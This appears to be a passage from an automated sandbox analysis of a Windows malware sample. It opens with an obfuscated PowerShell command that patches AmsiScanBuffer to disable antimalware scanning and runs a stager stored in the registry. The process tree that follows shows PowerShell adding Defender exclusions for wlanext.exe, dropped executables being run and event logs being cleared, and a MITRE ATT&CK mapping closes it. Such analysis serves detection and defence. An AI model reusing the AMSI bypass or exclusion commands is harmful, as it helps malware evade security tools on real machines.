'+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+'a'+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+''+[Char](66)+'ySi'+[Char](103)+''+','+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gBSGZUEUdQbhUy).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$GrrLdUXJaeY.DefineMethod('I'+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+'B'+''+[Char](121)+'S'+[Char](105)+''+'g'+',N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$gARBbFTNwW,$gBSGZUEUdQbhUy).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $GrrLdUXJaeY.CreateType();}$MRtRZdBmlnWym=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+'t'+''+[Char](101)+'m.'+'d'+'l'+'l'+'')}).GetType('Mic'+'r'+''+'o'+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+'.'+'W'+''+[Char](105)+'n'+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+'a'+''+[Char](102)+'e'+[Char](78)+'ativ'+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$BTXtxvxPFNTDTo=$MRtRZdBmlnWym.GetMethod(''+[Char](71)+'et'+[Char](80)+'r'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+'c'+[Char](44)+''+[Char](83)+'t'+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ftYFFYLGyfKGUmmPijb=kBPrgSEUgbKA @([String])([IntPtr]);$aLwKDCaYbQxwxLKaHlnJMT=kBPrgSEUgbKA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rdocEXhoGTy=$MRtRZdBmlnWym.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+'nd'+'l'+'e').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+'l')));$aYIsuTeLrJkNkv=$BTXtxvxPFNTDTo.Invoke($Null,@([Object]$rdocEXhoGTy,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+'a'+'r'+''+[Char](121)+''+'A'+'')));$vBSjXWqrsPScrfgKr=$BTXtxvxPFNTDTo.Invoke($Null,@([Object]$rdocEXhoGTy,[Object](''+[Char](86)+''+'i'+''+'r'+'tua'+'l'+''+[Char](80)+''+'r'+''+[Char](111)+'t'+'e'+''+[Char](99)+'t')));$pCnolWi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aYIsuTeLrJkNkv,$ftYFFYLGyfKGUmmPijb).Invoke('a'+'m'+'s'+'i'+''+[Char](46)+''+'d'+''+'l'+'l');$CZUQHelStDrreOKoh=$BTXtxvxPFNTDTo.Invoke($Null,@([Object]$pCnolWi,[Object]('A'+[Char](109)+''+'s'+''+'i'+''+'S'+''+'c'+''+[Char](97)+''+[Char](110)+'Bu'+'f'+'f'+[Char](101)+''+[Char](114)+'')));$wCHfVcZrTn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vBSjXWqrsPScrfgKr,$aLwKDCaYbQxwxLKaHlnJMT).Invoke($CZUQHelStDrreOKoh,[uint32]8,4,[ref]$wCHfVcZrTn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$CZUQHelStDrreOKoh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vBSjXWqrsPScrfgKr,$aLwKDCaYbQxwxLKaHlnJMT).Invoke($CZUQHelStDrreOKoh,[uint32]8,0x20,[ref]$wCHfVcZrTn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](120)+''+[Char](54)+''+'9'+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1880
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1176

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1520
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1188

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2588

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2296

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1384

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3312
- C:\Users\Admin\AppData\Local\Temp\MasonGod.exe
  "C:\Users\Admin\AppData\Local\Temp\MasonGod.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\wlanext.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wlanext.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp91D0.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\x69Install.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Users\Admin\AppData\Roaming\x69Install.exe
    C:\Users\Admin\AppData\Roaming\x69Install.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\x69..exe
  2⤵
  PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\x69s.exe
  2⤵
  PID:4352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3472

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3852

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3932

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4064

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2000

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1248

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2548

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1652

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5756

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:3136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry